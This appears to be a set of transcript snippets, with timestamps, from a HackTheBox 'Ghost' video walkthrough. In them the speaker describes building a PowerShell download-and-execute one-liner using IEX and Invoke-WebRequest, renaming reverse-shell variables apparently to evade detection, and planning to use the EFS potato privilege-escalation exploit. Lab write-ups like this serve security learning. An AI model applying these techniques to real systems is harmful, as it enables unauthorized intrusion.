{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
See, that's goes at the court of PowerShell. I think that's good. Okay, so the invoke web request is going much quicker. So what we want to do is create a oneliner with this. So we wrap this in a ex and then we can do I think we have to do use basic parsing and then close out. And I think that's good. Let's copy paste ...
7,206.599
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Okay. Uh send back this can be SB I guess. And that took care of send back two. We have send bite to uh we'll call it TB for transfer bite. Okay. And then the other thing we have to do is uh get rid of this PS path thing. And that may be it. So, let's go back here. Send the request. Let's do the use basic parsing. Oh, ...
7,323
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
um get one of the potato exploits and uh yeah I'm going to use EFS potato.
7,437.92
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }